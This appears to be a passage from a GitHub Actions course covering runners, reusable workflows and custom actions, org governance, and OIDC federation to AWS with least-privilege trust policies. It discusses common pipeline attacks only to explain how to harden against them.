# later job, same run
- uses: actions/download-artifact@<sha>  # v4
  with:
    name: test-report-1.27

Never put secrets or .git credentials into an artifact: on public repos anyone can download artifacts while they are retained.

Chapter 2 · Part 2.4

Runners

GitHub-hosted, larger and ARM runners, self-hosted runners, and Actions Runner Controller on EKS.

Runner types

Where your jobs run

Pick by trust, network access and cost — in that order.

RunnerIsolationNetworkCostUse for
GitHub-hosted standardFresh VM per job, destroyed afterInternet onlyFree on public repos; minutes on privateDefault for almost everything
GitHub-hosted ARM (ubuntu-24.04-arm)Fresh VM per jobInternet onlyPublic: free (4 vCPU, 16 GB); private: 2 vCPU, 8 GB, included minutes then per minuteNative ARM builds, no QEMU
Larger runnersFresh VM per jobOptional static IPs / private networkingPer-minute billingBig builds, IP allowlists
Self-hosted (VM, persistent)Shared between jobs unless you reset itYour networkYour infrastructureAvoid; if needed, private repos only
Self-hosted ephemeral (ARC pods)One pod per jobYour VPCYour EKS nodesAccess to private resources
GitHub-hosted

What you get on a GitHub-hosted runner

A clean virtual machine per job, with many tools preinstalled.

Properties

  • Ephemeral: nothing survives the job — no persistence attacks between jobs.
  • Labels: ubuntu-24.04, ubuntu-latest, ubuntu-24.04-arm, windows-latest, macos-latest.
  • Passwordless sudo; Docker preinstalled on Linux.
  • Images are updated weekly; the tool versions can change under you.

Make builds reproducible

  • Pin language versions with setup actions (go-version-file: go.mod).
  • Pin the image label (ubuntu-24.04) rather than ubuntu-latest for stable pipelines.
  • Pin tool versions you install (kubeconform, cosign) and verify checksums.

Limits

  • Egress to the internet is open by default (see Harden-Runner, ch 9).
  • No access to private VPC resources: use OIDC + AWS APIs, or self-hosted runners.
  • Job and concurrency limits depend on the plan.
Self-hosted

Self-hosted runners: what changes in the threat model

GitHub recommends never using self-hosted runners with public repositories.

Risks

  • Fork PRs on a public repo can run code on your machine.
  • Persistence: a non-ephemeral runner keeps files, Docker images, credentials between jobs; one bad job poisons the next.
  • Network reach: the runner sits inside your network next to databases and metadata endpoints.
  • Instance credentials: on EC2, the instance role is available to every job.

Controls

  • Ephemeral runners: one job, then destroy (--ephemeral, or ARC).
  • Runner groups restricted to selected repositories and workflows.
  • No instance profile with broad rights; use OIDC per job instead.
  • Block IMDS from job containers; restrict egress with security groups.
  • Separate runner pools for untrusted and privileged workloads.

When they are worth it

  • Builds that must reach private resources (internal registries, databases for integration tests).
  • Special hardware (GPU) or very large caches.
  • Cost at very high volume — after counting ops time.
ARC

Actions Runner Controller on EKS: architecture

ARC turns runners into Kubernetes pods that scale with the job queue and disappear after one job.

GitHubWorkflow jobruns-on: arc-cicd-labActions servicejob queue for the scale setEKS clusterControllergha-runner-scale-set-controllerListener podlong poll for jobs of this scale setRunner pod #1one job, then deletedRunner pod #2ephemeralKarpenter / node groupadds nodes when pods are pendingHTTPS (outbound)Scale set min/max runners; scale to zero when idle.

All connections are outbound from the cluster to GitHub: no inbound firewall rule is needed.

ARC

Installing a runner scale set with Helm

Two charts: the controller (once per cluster) and one scale set per runner pool.

C=oci://ghcr.io/actions/actions-runner-controller-charts

# 1) controller
helm install arc -n arc-systems \
  --create-namespace \
  $C/gha-runner-scale-set-controller

# 2) a scale set for one repo (or an org)
helm install arc-cicd-lab -n arc-runners \
  --create-namespace \
  --set githubConfigUrl=https://github.com/<you>/cicd-lab \
  --set githubConfigSecret=arc-github-app \
  --set minRunners=0 --set maxRunners=10 \
  $C/gha-runner-scale-set

# 3) use it: the installation name is the label
# jobs:
#   it:
#     runs-on: arc-cicd-lab

Design choices

  • Authenticate with a GitHub App (secret arc-github-app), not a personal token.
  • One scale set per trust level: untrusted PR builds never share a pool with deploy jobs.
  • Container mode dind (Docker in the pod) vs kubernetes (job containers as separate pods).
  • Give runner pods an IAM role with EKS Pod Identity only if jobs need AWS; prefer OIDC in the workflow.
  • NetworkPolicies and no access to IMDS from runner pods.

Operate it: pin chart versions (controller and scale set versions must match), watch pending pods and node scale-up time, and build runner images on the official runner image with pinned tools.

Choosing

Which runner for which job

A simple decision order.

1 · Untrusted code?

  • Fork PRs, external contributors.
  • → GitHub-hosted only.
  • No secrets, read-only token.
→

2 · Needs private network?

  • Integration tests against internal services.
  • → Ephemeral ARC pool in a dedicated namespace.
  • Private repos only.
→

3 · Needs big hardware?

  • Long builds, large monorepos.
  • → Larger GitHub-hosted runners or ARM.
  • Compare cost per build.
→

4 · Everything else

  • → Standard GitHub-hosted.
  • Pinned image label.
  • Cache aggressively.

Deploy jobs rarely need a self-hosted runner: OIDC gives AWS API access from GitHub-hosted runners (ch 4), and GitOps moves the cluster side to Argo CD.

Common mistakes

GitHub Actions mistakes seen in real repos

Each has caused a real incident somewhere.

MistakeConsequenceFix
${{ github.event.* }} inside run:Script injection with the job's token and secretsPass through env: and quote the variable
pull_request_target + checkout of the PR headUntrusted code runs with secrets ("pwn request")Use pull_request; split privileged steps into workflow_run
Required check on a path-filtered workflowPRs stuck "Expected — waiting"Always run; skip jobs inside
No merge_group trigger with a merge queueQueue never mergesAdd merge_group: to required workflows
cancel-in-progress: true on deploy jobsHalf-applied deploysQueue deploys; cancel only PR checks
Persistent self-hosted runner on a public repoAnyone can run code inside your networkGitHub-hosted for public repos; ephemeral ARC for private
Secrets in artifacts or $GITHUB_ENVLeaks to downloaders and later stepsKeep secrets in env of one step; never upload them
Self-check

GitHub Actions: can you answer these?

Explain the answer and point to the YAML key.

Model and events

  • Why do two jobs not see each other's files?
  • What happens to a job whose needs job failed, and how do you run it anyway?
  • What is different about pull_request_target compared with pull_request?
  • Why does a merge queue need merge_group?
  • Why does a push made with GITHUB_TOKEN not trigger CI?

Expressions and data

  • When is ${{ }} evaluated, and why does that enable injection?
  • Write the safe version of a step that echoes the PR title.
  • How do you pass a multi-line value to a later step?
  • Which fields of the github context are attacker-controlled?
  • When would you use vars instead of secrets?

Caching and runners

  • What is the difference between key and restore-keys?
  • Can a PR branch overwrite the default branch cache?
  • Cache or artifact for a test report? For Go modules?
  • Why should a public repo never use a persistent self-hosted runner?
  • How does ARC receive jobs without inbound connections?

Practice: Lab 2 in Hands-on labs adds a matrix, caching and concurrency to cicd-lab and breaks the cache key on purpose.

Chapter 3

Reuse at scale: reusable workflows and actions

One pipeline definition for fifty repositories: reusable workflows, custom actions, and the org-level rules that keep them in force.

Chapter 3 · Part 3.1

Reusable workflows

A whole workflow called like a function: inputs, secrets, outputs, and the limits of nesting.

Reusable workflows

Copy-paste pipelines rot; called pipelines stay in sync

Fifty repos with their own ci.yml means fifty slightly different security postures. A reusable workflow is defined once and called by reference.

Without reuse

  • Every repo pins its own action versions; half are months behind.
  • A fix to the build (cache key, OIDC role, scan step) needs fifty pull requests.
  • Reviewers cannot tell which repos skipped the scan.
  • Platform team becomes a bottleneck answering "how do I…" questions.

With a reusable workflow

  • platform/ci-templates/.github/workflows/go-service.yml holds the pipeline.
  • Service repos call it with a handful of inputs.
  • One change, reviewed once, reaches every caller that tracks the ref.
  • Callers can pin a tag or SHA and upgrade on their own schedule.

What it is technically

  • A workflow file with on: workflow_call.
  • Called at job level with jobs.<id>.uses:, not as a step.
  • Runs as jobs inside the caller's run: same run ID, same logs page.
  • The calling job cannot have steps: of its own.
Reusable workflows

The called side: declare inputs, secrets and outputs

Everything the caller can pass is declared and typed. Unknown inputs fail the run before any job starts.

# platform/ci-templates/.github/workflows/go-service.yml
name: go-service
on:
  workflow_call:
    inputs:
      go-version:   {type: string,  default: "1.27"}
      image-name:   {type: string,  required: true}
      push-image:   {type: boolean, default: false}
    secrets:
      SONAR_TOKEN:  {required: false}
    outputs:
      image-digest:
        description: Digest of the pushed image
        value: ${{ jobs.build.outputs.digest }}

permissions: {contents: read}
jobs:
  build:
    runs-on: ubuntu-latest
    outputs: {digest: "${{ steps.push.outputs.digest }}"}
    steps:
      - uses: actions/checkout@<sha-of-release>  # pin
      - uses: actions/setup-go@<sha-of-release>  # pin
        with: {go-version: "${{ inputs.go-version }}"}
      - run: go test ./...   # then build + push, id: push (ch 5)

Rules worth memorizing

  • Input types: string, number, boolean.
  • Read them with the inputs context, never github.event.inputs.
  • Workflow outputs map to job outputs, which map to step outputs.
  • Secrets must be declared to be received (unless the caller uses secrets: inherit).
  • The env context of the caller is not passed in; use inputs.
  • Called workflow permissions: can only keep or reduce what the caller grants.
Reusable workflows

The calling side

A service repo's whole CI can be ten lines. The uses: path is owner/repo/.github/workflows/file.yml@ref, or ./.github/workflows/file.yml in the same repo.

# cicd-lab/.github/workflows/ci.yml
name: ci
on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read
  id-token: write      # granted here, used inside
jobs:
  ci:
    uses: <you>/ci-templates/.github/workflows/go-service.yml@<sha>
    with:
      image-name: cicd-lab/hello
      push-image: ${{ github.ref == 'refs/heads/main' }}
    secrets:
      SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
  report:
    needs: ci
    runs-on: ubuntu-latest
    steps:
      - run: echo "${{ needs.ci.outputs.image-digest }}" 

Caller-side options

  • with: passes inputs; secrets: passes named secrets.
  • secrets: inherit passes every secret the caller can see (see next slide).
  • strategy.matrix on the calling job runs the reusable workflow once per combination.
  • needs, if, concurrency and permissions work on the calling job.
  • Outputs come back as needs.<job>.outputs.<name>.
Reusable workflows

Secrets: explicit vs secrets: inherit

Convenience trades against least privilege. Decide per template, not per mood.

Explicit secrets:secrets: inherit
What the callee receivesOnly the named secrets it declaredEvery secret the caller can access
ReviewabilityThe diff shows exactly what crosses the boundaryNothing in the caller shows what is used
Where it worksAny caller allowed to use the workflowCallers in the same org or enterprise
Risk if the template is compromisedLimited to declared secretsAll repo, org and environment secrets visible to the job
Good forShared templates owned by another teamSame-team workflows split for readability

Better than both: no secrets at all

  • Cloud access via OIDC (Chapter 4): the template assumes a role, nothing is stored.
  • Third-party tokens fetched at runtime from AWS Secrets Manager with that role.
  • Environment secrets bound to environment: on the calling job, protected by reviewers.
  • Remaining secrets: pass explicitly and name them in the template README.
Reusable workflows

Limits, nesting and versioning

Reusable workflows can call other reusable workflows, but the tree has hard limits and every level must be reachable by the top caller.

Limits (github.com)

  • Up to ten levels of workflows: the top-level caller plus up to nine nested reusable workflows.
  • At most 50 unique reusable workflows per run, counted across the whole nested tree.
  • No loops in the tree.
  • If any nested workflow is not accessible to the top caller, the run fails.
  • Permissions can only be reduced going down the tree.

Access rules

  • Public repos: any workflow can call them.
  • Private or internal template repos: Settings → Actions → Access must allow callers in the org or enterprise.
  • Callers outside that scope get "workflow was not found".
  • Keep templates in one repo (ci-templates) with a CODEOWNERS file.

Versioning the template

  • Release with tags (v1.4.0) and a moving major tag (v1) for convenience.
  • Security-sensitive callers pin the full SHA and let Dependabot propose upgrades.
  • Breaking input changes → new major; keep v1 working for a deprecation window.
  • Changelog in the template repo; announce in the platform channel.
Reusable workflows

Reusable workflow vs composite action

Both remove duplication. The difference is the unit: a set of jobs vs a set of steps.

QuestionReusable workflowComposite action
Unit of reuseOne or more jobs (own runners)A sequence of steps inside the caller's job
Called fromjobs.<id>.uses:steps[*].uses:
Can choose its own runnerYes (runs-on inside)No, runs on the caller's runner
SecretsDeclared secrets: or secrets: inheritNo secrets context; pass values as inputs
Environments and approvalsYes, jobs can target environment:No
LogsSeparate jobs in the runCollapsed into the caller's step list
Typical useWhole CI or deploy pipeline as a standardA recurring 3–10 step recipe (setup + cache + login)
SLSA Build L3 provenanceRequired: build and attest inside one (Chapter 11)Not sufficient on its own
Chapter 3 · Part 3.2

Custom actions

Composite, JavaScript and Docker actions: how each runs, when to pick it, how to ship it.

Custom actions

Three kinds of action, three runtimes

Every action has an action.yml with runs.using. That field decides where the code executes.

Composite (using: composite)

  • A list of steps, including other actions.
  • Each run: step must declare shell:.
  • Runs on any runner OS the steps support.
  • No build step: YAML only.
  • Best for: glue around existing actions and CLIs.

JavaScript (using: node24)

  • Runs directly on the runner with the bundled Node.js.
  • Fast start; works on Linux, Windows, macOS.
  • You must commit the bundled dist/ (for example with @vercel/ncc).
  • Toolkit: @actions/core, @actions/github, @actions/exec.
  • Track the runtime: GitHub retires old Node versions on a schedule.

Docker (using: docker)

  • Runs your image as a container on the runner.
  • Linux runners only.
  • Slower: the image is built or pulled every run.
  • Any language, fully pinned toolchain.
  • Best for: tools with heavy native dependencies.
Custom actions

A composite action for the setup every Go repo repeats

Lives in the template repo next to the workflows; callers use <you>/ci-templates/actions/go-setup@<sha>.

# ci-templates/actions/go-setup/action.yml
name: go-setup
description: Checkout-free Go setup with module cache and lint tools
inputs:
  go-version: {description: Go version, default: "1.27"}
  golangci-version: {description: golangci-lint version, default: "v2.15.0"}
outputs:
  go-path:
    description: GOPATH on the runner
    value: ${{ steps.env.outputs.gopath }}
runs:
  using: composite
  steps:
    - uses: actions/setup-go@<sha-of-release>  # pin
      with:
        go-version: ${{ inputs.go-version }}
        cache: true
    - id: env
      shell: bash
      run: echo "gopath=$(go env GOPATH)" >> "$GITHUB_OUTPUT"
    - shell: bash
      env:
        V: ${{ inputs.golangci-version }}
        M: github.com/golangci/golangci-lint/v2
      run: go install "$M/cmd/golangci-lint@${V}"
      # docs prefer the binary or the action 

Details that bite

  • shell: is mandatory on every run: step in a composite.
  • Inputs reach run: safely through env: (no ${{ }} inside the script; Chapter 8).
  • Outputs must be wired: outputs.<name>.value points at a step output.
  • Nested uses: inside a composite should be pinned too: callers inherit your choices.
  • Composite actions do not get the secrets context; pass a value as an input if you must.
Custom actions

A small JavaScript action

Use JavaScript when logic outgrows a shell script: API calls, parsing, retries. Bundle everything; the runner does not npm install.

# action.yml
name: pr-size-label
description: Label a pull request by changed lines
inputs:
  token:
    description: Token with pull-requests:write
    required: true
runs:
  using: node24        # Node 20 is end-of-life
  main: dist/index.js

// src/index.js
const core = require('@actions/core');
const github = require('@actions/github');

async function run() {
  const pr = github.context.payload.pull_request;
  if (!pr) { core.info('not a pull request'); return; }
  const lines = pr.additions + pr.deletions;
  const label = lines < 100 ? 'size/S' : lines < 500 ? 'size/M' : 'size/L';
  const octokit = github.getOctokit(core.getInput('token'));
  await octokit.rest.issues.addLabels({
    ...github.context.repo, issue_number: pr.number, labels: [label] });
  core.setOutput('label', label);
}
run().catch(err => core.setFailed(err.message));

Shipping it

  • Build: npx @vercel/ncc build src/index.js -o dist and commit dist/.
  • CI in the action repo checks that dist/ matches the source (rebuild + git diff --exit-code).
  • Release with a tag; consumers pin the SHA.
  • Unit test with Jest by mocking @actions/core and @actions/github.
  • Check the runtime field when GitHub announces a Node.js deprecation.
Custom actions

Choosing and releasing internal actions

Most teams need few custom actions. Prefer a well-maintained public action pinned by SHA, or a composite wrapper around a CLI.

Decision

NeedPick
Wrap 3–10 shell steps used everywhereComposite action
Call GitHub or AWS APIs with logicJavaScript action
Tool needs a full Linux userlandDocker action (or install the tool in a composite)
Standardize a whole pipeline with approvalsReusable workflow
One repo onlyKeep the steps inline

Release checklist

  • One action per directory, or one repo per action if versions diverge.
  • README: inputs, outputs, permissions needed, example with a pinned SHA.
  • Semantic version tags; never move a full version tag after release.
  • Lint action.yml and the workflows that test it (actionlint).
  • Same review rules as production code: CODEOWNERS on the action repo.
Chapter 3 · Part 3.3

Governance for many repos

Templates to start right, rulesets to stay right, and change detection for monorepos.

Governance

Workflow templates: the starting point

Templates shown in a repo's "Actions → New workflow" page, published from the org's .github repository.

# <org>/.github  (public or internal repo named .github)
workflow-templates/
  go-service.yml               # the starter workflow
  go-service.properties.json   # metadata shown in the UI

# go-service.properties.json
{
  "name": "Go service (platform standard)",
  "description": "Calls the reusable go-service pipeline",
  "iconName": "go",
  "categories": ["Go"],
  "filePatterns": ["go.mod$"]
}

# go-service.yml — keep it tiny: it only calls the reusable workflow
on: {pull_request: {}, push: {branches: [$default-branch]}}
permissions: {contents: read}
jobs:
  ci:
    uses: <org>/ci-templates/.github/workflows/go-service.yml@v1
    with: {image-name: CHANGE-ME}

Templates vs reusable workflows

  • A template is copied once; later edits do not reach existing repos.
  • So make the template a thin caller of a reusable workflow.
  • $default-branch is replaced with the repo's default branch on copy.
  • filePatterns suggests the template to repos that contain matching files.
  • Templates help adoption; rulesets (next) enforce it.
Governance

Repository rulesets: enforcement that cannot be skipped

Rulesets apply to many repos at once (org level) and stack with each other. Admins can bypass only if listed as bypass actors.

Branch rules for main

  • Require a pull request with N approvals and code owner review.
  • Require status checks to pass (names of jobs, for example ci / build).
  • Require workflows to pass before merging (org rulesets): a central workflow runs on every targeted repo.
  • Block force pushes and deletion; require linear history if you squash.
  • Require merge queue (Chapter 6).

Push and tag rules

  • Push rulesets can restrict file paths, for example changes under .github/workflows/ (plan-dependent).
  • Tag rulesets protect v* release tags from moving or deletion.
  • Restrict who can create release tags.
  • Evaluate mode: see what would be blocked before enforcing.

Targeting

  • Target repos by name pattern or by custom property (for example tier = prod).
  • Bypass list: a release GitHub App, a break-glass team — never "all admins" by default.
  • Ruleset insights show every bypass and block.
  • Manage rulesets as code through the REST API or Terraform github provider.
Governance

Required workflows through org rulesets

A security workflow that repo owners cannot remove or edit, because it lives in a central repo and is enforced by the ruleset.

security-checks repozizmor, dependency reviewOrg rulesetRequire workflows to passrepo A · PRrepo B · PRrepo C · PRMerge allowedonly if the central workflow passespoints atThe workflow file is read from the central repo at a ref you choose; the PR author cannot change it.

Practical notes

  • The central repo must be accessible to the target repos (internal or allowed private).
  • Pin the workflow ref (branch with its own ruleset, or a SHA) to control rollout.
  • Start in Evaluate mode; fix noisy failures before enforcing.
  • Keep it fast: it runs on every pull request in the org.
  • Good candidates: workflow linting, secret scanning gate, dependency review, license check.
Governance

CODEOWNERS for pipelines

Whoever can edit .github/workflows/ can change what runs with your credentials. Treat pipeline files as security-sensitive code.

# .github/CODEOWNERS  (last matching pattern wins)
*                          @<org>/hello-team

# pipeline and supply-chain files need platform review
/.github/workflows/        @<org>/platform-team
/.github/actions/          @<org>/platform-team
/.github/CODEOWNERS        @<org>/platform-team
/Dockerfile                @<org>/platform-team @<org>/hello-team
/.github/dependabot.yml    @<org>/platform-team

Make it bite

  • Ruleset: "Require review from Code Owners" on the default branch.
  • Protect CODEOWNERS itself, or the rule can be edited away in the same PR.
  • Owners must have write access, or GitHub ignores the line.
  • Teams, not individuals: people leave.
  • Pair with actionlint and zizmor as required checks (Chapter 9).
Governance

Monorepos: run only what changed

Path filters save minutes, but a skipped workflow never reports a status — and a required check that never reports blocks the merge.

on: {pull_request: {}}
jobs:
  changes:
    runs-on: ubuntu-latest
    permissions: {contents: read, pull-requests: read}
    outputs: {hello: "${{ steps.f.outputs.hello }}"}
    steps:
      - uses: actions/checkout@<sha-of-release>       # pin
      - id: f
        uses: dorny/paths-filter@<sha-of-release>     # pin
        with:
          filters: |
            hello: ['services/hello/**', 'go.mod']
  hello:
    needs: changes
    if: needs.changes.outputs.hello == 'true'
    uses: ./.github/workflows/go-service.yml
    with: {image-name: cicd-lab/hello}
  gate:                       # the ONLY required check
    if: always()
    needs: [hello]
    runs-on: ubuntu-latest
    steps:
      - run: '[[ "${{ needs.hello.result }}" != "failure" ]]'

The gate-job pattern

  • on.pull_request.paths skips the whole workflow → required checks stay "Expected" forever.
  • Instead: always run a small changes job, then run service jobs conditionally.
  • A final gate job with if: always() is the single required status check.
  • It fails on failure (and decide whether cancelled counts) and passes on skipped.
  • Alternatives: build tools with affected-target graphs (Bazel, Nx, Turborepo).
Common mistakes

Reuse and governance mistakes

Each one has happened in real orgs; most are invisible until an incident.

Reuse

  • Calling templates by a branch (@main): every caller gets every change instantly, including a bad one.
  • secrets: inherit on a template owned by another team.
  • Expecting the caller's env: to exist inside the reusable workflow.
  • JavaScript action without committed dist/ → "Cannot find module" on the runner.
  • Composite run: steps without shell:.

Governance

  • Workflow templates with the full pipeline inlined: the copies drift immediately.
  • CODEOWNERS that does not protect itself or .github/workflows/.
  • Required status check on a path-filtered workflow → PRs stuck on "Expected".
  • Bypass list containing all repo admins.
  • Rulesets created straight in Active mode across the org, blocking every team at once.

Fixes

  • Pin template refs by SHA; let Dependabot raise upgrade PRs.
  • Explicit secrets: or OIDC; no stored cloud keys.
  • Pass everything as typed inputs.
  • Gate-job pattern for monorepos.
  • Evaluate mode first, then Active, per repo tier.
Self-check

Reuse at scale: can you answer these?

Answer out loud, then check the slide that covers it.

Reusable workflows

  • Where in a workflow do you call a reusable workflow, and what can that job not contain?
  • How does a value travel from a step to the caller of a reusable workflow?
  • What exactly does secrets: inherit hand over, and to whom does it work?
  • How deep can workflows nest on github.com, and what fails if one level is inaccessible?
  • Can a called workflow raise GITHUB_TOKEN permissions?

Actions

  • When do you pick composite vs JavaScript vs Docker?
  • Why must a JavaScript action commit dist/?
  • Why do composite actions need shell: on every run: step?
  • How does an input reach a shell script safely?
  • What runs on macOS runners: Docker actions or JavaScript actions?

Governance

  • Why should a workflow template only call a reusable workflow?
  • Which ruleset rule runs a central workflow on every repo?
  • How do you stop a PR author from editing CODEOWNERS away?
  • Why does a path-filtered required check block merges, and what is the fix?
  • Who belongs on a ruleset bypass list?

Practice: Lab 3 in Hands-on labs — extract a reusable workflow and a composite action and call them from two repos.

Chapter 4

Identity: OIDC to AWS and least privilege

No stored cloud keys: short-lived credentials from OIDC, a token with only the permissions a job needs, and secrets gated by environments.

Chapter 4 · Part 4.1

OIDC federation

How a workflow proves who it is to AWS, and how the role decides whether to believe it.

OIDC federation

Why long-lived keys in CI must go

An AWS_ACCESS_KEY_ID in repo secrets is a credential that works from anywhere, forever, until someone remembers to rotate it.

Static keys

  • Valid until rotated; often years.
  • Usable from any machine once leaked (logs, a compromised action, a fork).
  • Shared by every workflow in the repo; no per-branch or per-environment scope.
  • CloudTrail shows the IAM user, not which run used it.

OIDC federation

  • The runner gets a signed JWT from GitHub for this job only.
  • AWS STS exchanges it for role credentials (default one hour, often less).
  • The role trust policy checks repo, branch or environment in the token.
  • Nothing to store, nothing to rotate, nothing useful to leak after expiry.

What attackers learned

  • tj-actions (2025) printed secrets into public logs: stored keys were the prize.
  • Shai-Hulud harvested tokens from developer machines and CI.
  • Short-lived, audience-bound tokens limit both attacks to minutes and to one role.
OIDC federation

The token exchange, step by step

GitHub is the identity provider, AWS STS is the relying party. The workflow never sees a password.

GitHub ActionsJob on runnerid-token: writeGitHub OIDCtoken.actions.githubusercontent.comAWS accountIAM OIDC providerissuer + audienceAWS STSAssumeRoleWithWebIdentityRole gha-cicd-labtrust policy: aud, subECR, S3, …role permissions1 request JWT (audience sts.amazonaws.com)2 JWT: iss, aud, sub, repository, ref, environment, job_workflow_ref, … (~5 min)3 AssumeRoleWithWebIdentity(JWT, role ARN)4 verify signature, aud, sub5 temporary credentials (session ≤ role max)

STS validates the JWT signature against GitHub's published keys and checks the aud claim against the provider's client IDs; the role's trust policy decides which sub values are allowed.

OIDC federation

What is inside the GitHub OIDC token

Every condition you write in a trust policy is a check on one of these claims. Learn the sub formats by heart.

{
  "iss": "https://token.actions.githubusercontent.com",
  "aud": "sts.amazonaws.com",
  "sub": "repo:<you>/cicd-lab:environment:prod",
  "repository": "<you>/cicd-lab",
  "repository_id": "…", "repository_owner_id": "…",
  "ref": "refs/heads/main", "sha": "…",
  "environment": "prod", "event_name": "push",
  "workflow_ref":
    "<you>/cicd-lab/.github/workflows/ci.yml@refs/heads/main",
  "job_workflow_ref":
    "<you>/ci-templates/.github/workflows/deploy.yml@refs/tags/v1",
  "runner_environment": "github-hosted",
  "exp": …, "iat": …
}

Default sub formats

Job contextsub
Job uses an environment:repo:ORG/REPO:environment:NAME
pull_request event (no environment)repo:ORG/REPO:pull_request
Branch push / other eventsrepo:ORG/REPO:ref:refs/heads/BRANCH
Tag pushrepo:ORG/REPO:ref:refs/tags/TAG

The environment wins: a job with environment: prod on main gets ...:environment:prod, not ...:ref:refs/heads/main. A trust policy that only allows the ref form will reject it.

OIDC federation

Immutable subject claims (2026)

Names can be reused: delete or rename a repo and someone else can create one with the old name. Immutable claims add numeric IDs that never move.

Format

  • repo:OWNER@OWNER-ID/REPO@REPO-ID:<context>
  • Example: repo:octo-org@123456/octo-repo@456789:ref:refs/heads/main.
  • The context part is unchanged (environment:prod, pull_request, ref:…).
  • The separator is @ (it was - when first announced; changed 10 Jun 2026).
  • The IDs cannot be removed from this format.

Who gets it

  • Announced 23 Apr 2026.
  • Default for repositories created, renamed or transferred after 15 Jul 2026.
  • Older repositories keep the name-only sub unless the org or repo opts in.
  • Not available on GitHub Enterprise Server.
  • Only sub changes; claims such as job_workflow_ref keep names.

What breaks

  • A trust policy with repo:<you>/cicd-lab:* no longer matches a new repo's tokens.
  • Renaming or transferring a repo switches its format → deploys fail with AccessDenied / "Not authorized to perform sts:AssumeRoleWithWebIdentity".
  • Fix: add the immutable form to the trust policy before opting in or renaming, then remove the old one.
OIDC federation

Find the IDs and write both forms during migration

Numeric IDs come from the REST API. Allow both formats for a short window, then drop the name-only form.

# numeric owner and repository IDs (REST API)
gh api repos/<you>/cicd-lab --jq '.owner.id, .id'
# 123456
# 456789

# immutable sub for the prod environment
repo:<you>@123456/cicd-lab@456789:environment:prod

# decode a real token in a debug job (never log the token)
- run: |
    H="Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN"
    U="$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"
    T=$(curl -sS -H "$H" "$U" | jq -r .value)
    echo "$T" | cut -d. -f2 | base64 -d 2>/dev/null \
      | jq '{sub, aud, ref, environment}'
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud":
        "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": [
        "repo:<you>/cicd-lab:environment:prod",
        "repo:<you>@123456/cicd-lab@456789:environment:prod"
      ]
    }
  }
}

gh repo view --json id returns a GraphQL node ID, not the numeric ID. Use the REST fields .id and .owner.id.

OIDC federation

Create the provider and a role for one repo and environment

One provider per account; one role per repo and environment, with a trust policy that names exactly that sub.

# 1) identity provider (once per account)
aws iam create-open-id-connect-provider \
  --url https://token.actions.githubusercontent.com \
  --client-id-list sts.amazonaws.com
# GitHub's issuer is validated with trusted root CAs;
# if a tool demands --thumbprint-list, see the IAM docs

# 2) role with a narrow trust policy
aws iam create-role --role-name gha-cicd-lab-prod \
  --assume-role-policy-document file://trust-prod.json

# 3) permissions: only what the deploy job needs
aws iam put-role-policy --role-name gha-cicd-lab-prod \
  --policy-name ecr-push \
  --policy-document file://ecr-push.json
// trust-prod.json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::<acct>:oidc-provider/
                  token.actions.githubusercontent.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud":
          "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub":
          "repo:<you>@123456/cicd-lab@456789:environment:prod"
      }
    }
  }]
}

The provider ARN is one string: arn:aws:iam::<acct>:oidc-provider/token.actions.githubusercontent.com (wrapped above to fit).

OIDC federation

Use the role in a workflow

id-token: write lets the job request a JWT; aws-actions/configure-aws-credentials performs the exchange and exports the temporary credentials.

permissions:
  contents: read
  id-token: write          # required for OIDC

jobs:
  push-image:
    runs-on: ubuntu-latest
    environment: prod      # → sub ends with :environment:prod
    steps:
      - uses: actions/checkout@<sha-of-release>                     # pin
      - uses: aws-actions/configure-aws-credentials@<sha-of-release>  # pin
        with:
          role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab-prod
          aws-region: ap-northeast-1
          role-session-name: gha-${{ github.run_id }}
      - run: aws sts get-caller-identity
      # → arn:aws:sts::<acct>:assumed-role/gha-cicd-lab-prod/gha-123456

Good habits

  • Role per environment (dev, prod), never one role for everything.
  • role-session-name with the run ID: CloudTrail links each API call to a run.
  • The default audience is sts.amazonaws.com; change it only with the provider's client ID.
  • Short session: the job rarely needs the full hour.
  • Optionally restrict further with job_workflow_ref (only a central deploy workflow may assume the role).
OIDC federation

Trust policy patterns: tight, acceptable, dangerous

The sub condition is the security boundary. Wildcards decide who else in the world can become your role.

Condition on subWho can assume the roleVerdict
repo:<you>@ID/cicd-lab@ID:environment:prod (StringEquals)Only prod-environment jobs of this repo (protected by reviewers)Tight — use for deploy roles
repo:<you>/cicd-lab:ref:refs/heads/mainAny job running on main of this repoOK for build-and-push roles
repo:<you>/cicd-lab:* (StringLike)Every branch, tag, PR and environment, including untrusted PR jobsToo broad for anything writable
repo:<you>/* (StringLike)Every repo in the account or org, including new onesOnly for read-only, low-value roles
No sub condition, only audAny GitHub repo in the world that targets your role ARNCritical: never

Prefer StringEquals with an exact list over StringLike wildcards, and review every trust policy with IAM Access Analyzer before it reaches production.

OIDC federation

Customizing the subject claim

When repo + context is not enough — for example "only the central deploy workflow may assume this role" — change what goes into sub.

# repo level: custom template (REST API)
gh api -X PUT \
  repos/<you>/cicd-lab/actions/oidc/customization/sub \
  -F use_default=false \
  -f 'include_claim_keys[]=repo' \
  -f 'include_claim_keys[]=context' \
  -f 'include_claim_keys[]=job_workflow_ref'

# resulting sub (key:value pairs joined with ':'), one line:
# repo:<you>/cicd-lab:environment:prod
#   :job_workflow_ref:<you>/ci-templates/
#    .github/workflows/deploy.yml@refs/tags/v1

# org level: applies to repos that do not override it
gh api -X PUT orgs/<org>/actions/oidc/customization/sub \
  -f 'include_claim_keys[]=repo' \
  -f 'include_claim_keys[]=context'

Use it carefully

  • Every role trusting the old sub breaks when you switch: update trust policies first.
  • A template with only repo makes every branch and PR look the same: too broad.
  • job_workflow_ref pins the reusable workflow and its ref: great for "deploy only via platform template".
  • Check how your template renders with immutable IDs by decoding a real token.
  • Document the template in the repo; it is invisible in workflow files.
Chapter 4 · Part 4.2

GITHUB_TOKEN and permissions

The automatic token every job gets, and how to make it able to do almost nothing.

GITHUB_TOKEN

What the automatic token is

